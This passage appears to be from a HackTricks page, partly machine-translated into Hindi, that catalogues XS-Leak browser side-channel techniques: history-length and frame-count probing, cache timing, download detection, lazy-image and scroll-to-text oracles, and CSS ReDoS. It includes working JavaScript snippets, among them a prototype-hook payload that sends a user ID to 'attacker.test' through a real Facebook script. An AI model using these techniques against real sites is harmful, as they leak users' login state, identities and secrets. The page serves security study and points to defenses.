URL Max Length - Client Side

Max Redirects

यदि ब्राउज़र की अधिकतम redirect follow करने की संख्या 20 है, तो attacker अपनी पेज को 19 redirects के साथ लोड कर सकता है और अंत में victim को test किए गए पेज पर भेज सकता है। यदि कोई error ट्रिगर होता है, तो इसका मतलब है कि पेज victim को redirect करने की कोशिश कर रहा था।

History Length

History API JavaScript को browser history manipulate करने की अनुमति देता है, जो user द्वारा देखी गई pages को सहेजता है। एक attacker length property को inclusion method के रूप में उपयोग कर सकता है: JavaScript और HTML navigation का पता लगाने के लिए।
history.length की जाँच करके, किसी user को एक पेज पर navigate कराना, उसे same-origin पर वापस बदलना और फिर history.length का नया मान चेक करना संभव है।

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: यह पता लगाना संभव है कि frame/popup का location किसी specific URL पर है या नहीं, history length का दुरुपयोग करके।
  • Code Example: Below

एक attacker JavaScript का उपयोग करके frame/pop-up का location एक guessed URL पर सेट कर सकता है और तुरंत उसे about:blank पर बदल सकता है। यदि history length बढ़ती है तो इसका मतलब है कि guessed URL सही था और उसे reload करने की ज़रूरत नहीं पड़ी (इसलिए history बढ़ गया)। यदि history length नहीं बढ़ती तो इसका अर्थ है कि वह guessed URL लोड करने की कोशिश कर रहा था लेकिन हमने तुरंत बाद about:blank लोड कर दिया, इसलिए guessed URL लोड होने पर history length कभी बढ़ा ही नहीं।

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

iframe या window.open के माध्यम से खोले गए वेब पेज में frames की संख्या गिनना उस पेज पर user की स्थिति की पहचान करने में मदद कर सकता है।
इसके अलावा, यदि किसी पेज में हमेशा वही frames की संख्या रहती है, तो frames की संख्या को लगातार चेक करने से किसी पैटर्न की पहचान हो सकती है जो जानकारी leak कर सकता है।

एक उदाहरण में, chrome में एक PDF को frame counting से detect किया जा सकता है क्योंकि आंतरिक रूप से एक embed उपयोग होता है। कुछ Open URL Parameters जैसे zoom, view, page, toolbar कंटेंट पर कुछ नियंत्रण देते हैं जहाँ यह तकनीक उपयोगी हो सकती है।

HTMLElements

HTML elements के माध्यम से जानकारी का leak वेब सुरक्षा में चिंता का विषय है, खासकर जब dynamic media फ़ाइलें user जानकारी के आधार पर जेनरेट की जाती हैं, या जब watermarks जोड़ी जाती हैं और media का आकार बदल जाता है। यह attackers द्वारा exploit किया जा सकता है ताकि वे कुछ HTML elements द्वारा expose की गई जानकारी का विश्लेषण करके संभावित राज्यों में अंतर कर सकें।

Information Exposed by HTML Elements

  • HTMLMediaElement: यह element media की duration और buffered times को प्रकट करता है, जिन्हें इसकी API के माध्यम से access किया जा सकता है। Read more about HTMLMediaElement
  • HTMLVideoElement: यह videoHeight और videoWidth को expose करता है। कुछ ब्राउज़रों में अतिरिक्त properties जैसे webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, और webkitDecodedFrameCount भी उपलब्ध होते हैं, जो media कंटेंट के बारे में अधिक गहन जानकारी देते हैं। Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): यह function video playback quality के बारे में विवरण देता है, जिसमें totalVideoFrames शामिल है, जो संसाधित वीडियो डेटा की मात्रा का संकेत दे सकता है। Read more about getVideoPlaybackQuality()
  • HTMLImageElement: यह element किसी इमेज की height और width को leak करता है। हालांकि, यदि इमेज invalid है, तो ये properties 0 लौटाएँगी, और image.decode() function reject हो जाएगा, जो इमेज के सही तरीके से लोड न होने का संकेत देता है। Read more about HTMLImageElement

CSS Property

वेब एप्लिकेशन उपयोगकर्ता की स्थिति के आधार पर website styling बदल सकते हैं। Cross-origin CSS फ़ाइलों को attacker पेज पर HTML link element के साथ embed किया जा सकता है, और उन rules को attacker पेज पर लागू किया जाएगा। यदि कोई पेज इन rules को dynamic रूप से बदलता है, तो attacker user state के आधार पर इन अंतर को detect कर सकता है।
एक leak तकनीक के रूप में, attacker window.getComputedStyle method का उपयोग करके किसी विशेष HTML element की CSS properties पढ़ सकता है। परिणामस्वरूप, यदि प्रभावित element और property का नाम ज्ञात हो, तो attacker arbitrary CSS properties पढ़ सकता है।

CSS History

Tip

According to this, this is not working in headless Chrome.

CSS :visited selector का उपयोग URLs को अलग तरह से style करने के लिए किया जाता है यदि उन्हें पहले एक्सेस किया गया हो। पहले, getComputedStyle() method का उपयोग इन style अंतर को पहचानने के लिए किया जा सकता था। हालाँकि, आधुनिक ब्राउज़रों ने सुरक्षा उपाय लागू किए हैं ताकि यह method लिंक की स्थिति प्रकट न कर सके। इन उपायों में हमेशा computed style को ऐसा लौटाना शामिल है जैसे लिंक visited हो और :visited selector के साथ लागू की जा सकने वाली styles को सीमित करना शामिल है।

इन प्रतिबंधों के बावजूद, किसी लिंक के visited state का पता अप्रत्यक्ष रूप से लगाया जा सकता है। एक तकनीक में उपयोगकर्ता को CSS से प्रभावित क्षेत्र के साथ इंटरैक्ट करने के लिए मूर्ख बनाना शामिल है, विशेष रूप से mix-blend-mode property का उपयोग करते हुए। यह property elements को उनके background के साथ blend करने देती है, जो उपयोगकर्ता इंटरैक्शन के आधार पर visited state को प्रकट कर सकती है।

इसके अलावा, बिना उपयोगकर्ता इंटरैक्शन के detection rendering timings का शोषण करके प्राप्त किया जा सकता है। चूँकि ब्राउज़र visited और unvisited links को अलग तरह से render कर सकते हैं, यह rendering में मापने योग्य समय अंतर ला सकता है। एक PoC को Chromium bug रिपोर्ट में उल्लेख किया गया था, जो timing अंतर को बढ़ाने के लिए कई links का उपयोग करता है, इस प्रकार timing विश्लेषण के माध्यम से visited state detectable बनती है।

इन properties और methods के लिए अधिक जानकारी के लिए उनकी documentation देखें:

ContentDocument X-Frame Leak

Chrome में, यदि किसी पेज पर X-Frame-Options header “deny” या “same-origin” पर सेट है और उसे object के रूप में embed किया गया है, तो एक error page दिखाई देता है। Chrome विशेष रूप से इस object के contentDocument property के लिए एक खाली document object लौटाता है (जिसके बजाय null लौटने की उम्मीद हो सकती है), जो iframes या अन्य ब्राउज़रों से अलग है। Attackers इस खाली document का पता लगाकर exploit कर सकते हैं, जो user की स्थिति के बारे में जानकारी प्रकट कर सकता है, खासकर जब developers X-Frame-Options header को असंगत रूप से सेट करते हैं और अक्सर error pages को नजरअंदाज कर देते हैं। ऐसे leaks को रोकने के लिए security headers के बारे में जागरूकता और उनका consistent उपयोग आवश्यक है।

Download Detection

Content-Disposition हेडर, विशेष रूप से Content-Disposition: attachment, ब्राउज़र को सामग्री को inline दिखाने के बजाय download करने का निर्देश देता है। इस व्यवहार का उपयोग यह पता लगाने के लिए किया जा सकता है कि किसी user के पास वह पेज एक्सेस करने का अधिकार है जो file download ट्रिगर करता है। Chromium-आधारित ब्राउज़रों में, इस download व्यवहार का पता लगाने के लिए कुछ तकनीकें हैं:

  1. Download Bar Monitoring:
  • जब कोई फ़ाइल Chromium-आधारित ब्राउज़र में डाउनलोड होती है, तो ब्राउज़र विंडो के नीचे एक download bar दिखाई देता है।
  • विंडो की height में बदलावों की निगरानी करके attackers यह अनुमान लगा सकते हैं कि download bar दिखाई दिया है, जो यह संकेत देता है कि डाउनलोड शुरू हुआ है।
  1. Download Navigation with Iframes:
  • जब कोई पेज Content-Disposition: attachment हेडर का उपयोग करके फ़ाइल डाउनलोड ट्रिगर करता है, तो यह एक navigation event नहीं पैदा करता।
  • कंटेंट को एक iframe में लोड करके और navigation events की निगरानी करके, यह जांचना संभव है कि content disposition फ़ाइल डाउनलोड का कारण बना (कोई navigation नहीं) या नहीं।
  1. Download Navigation without Iframes:
  • iframe तकनीक के समान, यह विधि iframe के बजाय window.open का उपयोग करती है।
  • नए खुले window में navigation events की निगरानी करके यह पता चल सकता है कि फ़ाइल डाउनलोड ट्रिगर हुई थी (कोई navigation नहीं) या content inline दिखाया गया (navigation होती है)।

ऐसे परिदृश्यों में जहाँ केवल logged-in users ही ऐसे downloads ट्रिगर कर सकते हैं, ये तकनीकें ब्राउज़र की download अनुरोध के प्रति प्रतिक्रिया के आधार पर उपयोगकर्ता के authentication state का अप्रत्यक्ष अनुमान लगाने के लिए उपयोग की जा सकती हैं।

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

यदि कोई साइट example.com किसी resource को *.example.com/resource से शामिल करती है तो वह resource उसी caching key के साथ होगा जैसे कि resource सीधे top-level navigation के माध्यम से request किया गया हो। ऐसा इसलिए है क्योंकि caching key top-level eTLD+1 और frame eTLD+1 से मिलकर बनता है।

क्योंकि cache से access करना resource लोड करने की तुलना में तेज़ होता है, यह संभव है कि किसी पेज की location बदलने की कोशिश की जाए और इसे 20ms (उदाहरण के लिए) बाद रोक दिया जाए। यदि stop के बाद origin बदल गया था, तो इसका मतलब है कि resource cached था।
या बस संभावित cached पेज पर कुछ fetch भेजकर और उसे लेने में लगने वाले समय को मापकर भी पता लगाया जा सकता है।

Manual Redirect

Fetch with AbortController

fetch और setTimeout के साथ एक AbortController का उपयोग करके यह पता लगाया जा सकता है कि कोई resource cached है या नहीं और एक विशिष्ट resource को browser cache से evict किया जा सकता है। इसके अलावा, यह प्रक्रिया नए content को cache किए बिना होती है।

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

The request itself also becomes a login-state oracle if the script only loads for authenticated users.

Service Workers

In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically “attacker.com”. Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.

Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.

Warning

In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: If identifiers live in subdomain labels (e.g., www.<username>.sb.facebook.com), request resources on candidate hosts and treat onload vs onerror/timeouts as a Boolean. Combine with login-only scripts (e.g., /signals/iwl.js) to brute-force usernames and verify auth to related properties.
  • Note: Signals can be amplified with different inclusion types (script, iframe, object) to detect X-Frame-Options, CORB, or redirect differences per candidate.

With HTML or Re Injection

यहाँ आप उन तकनीकों को पाएँगे जो cross-origin HTML में से जानकारी exfiltrate करने के लिए हैं जब आप injecting HTML content कर सकते हैं। ये तकनीकें तब उपयोगी होती हैं जब किसी कारण से आप inject HTML कर सकते हैं पर आप JS code inject नहीं कर पाते।

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

यदि आपको exfiltrate content करने की आवश्यकता है और आप secret से पहले HTML जोड़ सकते हैं तो आपको common dangling markup techniques देखनी चाहिए.
हालाँकि, यदि किसी कारणवश आपको इसे MUST करके char by char करना ही है (हो सकता है कि संचार cache hit के माध्यम से हो) तो आप यह ट्रिक उपयोग कर सकते हैं।

Images in HTML has a “loading” attribute whose value can be “lazy”. In that case, the image will be loaded when it’s viewed and not while the page is loading:

<img src=/something loading=lazy >

इसलिए, आप कर सकते हैं कि आप बहुत सारे जंक कैरैक्टर्स जोड़ दें (उदाहरण के लिए हज़ारों “W”) ताकि आप वेब पेज को secret से पहले भर दें या कुछ ऐसा जोड़ें <br><canvas height="1850px"></canvas><br>.
फिर, उदाहरण के लिए अगर हमारी injection appear before the flag, तो image loaded हो जाएगी, लेकिन अगर यह after the flag दिखाई दे, तो flag + जंक इसे prevent it from being loaded कर देंगे (आपको यह परखना होगा कि कितनी जंक रखनी है)। यह वही हुआ था this writeup.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

हालाँकि, आप bot access the page कुछ इस तरह कराते हैं:

#:~:text=SECR

तो वेब पेज कुछ इस तरह होगा: https://victim.com/post.html#:~:text=SECR

जहाँ post.html में हमलावर के जंक कैरैक्टर और lazy load image होंगे और फिर bot का secret जोड़ा जाएगा।

यह टेक्स्ट bot को उस पेज के किसी भी टेक्स्ट तक पहुँचाने के लिए मजबूर करेगा जिसमें SECR मौजूद हो। चूंकि वह टेक्स्ट secret है और यह सिर्फ image के नीचे है, image तभी load होगी अगर guessed secret सही होगा। तो आपके पास आपका oracle है जिससे आप secret को exfiltrate कर सकते हैं char by char।

इसे exploit करने का कुछ code example: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

यदि not possible to load an external image जो हमलावर को संकेत दे सके कि image load हुई थी, तो एक और विकल्प यह होगा कि कई बार guess the char several times and measure that। अगर image load होती है तो सभी requests अपेक्षाकृत लंबे समय तक चलेंगे बनाम तब जब image load न हो। यही तरीका solution of this writeup में इस्तेमाल किया गया था और यहाँ sumarized है:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

यदि jQuery(location.hash) का उपयोग किया गया है, तो timing के जरिए यह पता लगाना संभव है कि if some HTML content exists, यह इसलिए क्योंकि यदि selector main[id='site-main'] मेल नहीं खाता तो उसे बाकी के selectors जांचने की ज़रूरत नहीं पड़ती:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

रक्षाएँ

इन तकनीकों के खिलाफ सुरक्षा के उपाय https://xsinator.com/paper.pdf में सुझाए गए हैं, और विकी के प्रत्येक सेक्शन में भी जानकारी उपलब्ध है: https://xsleaks.dev/. सुरक्षा के बारे में अधिक जानकारी के लिए वहां देखें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें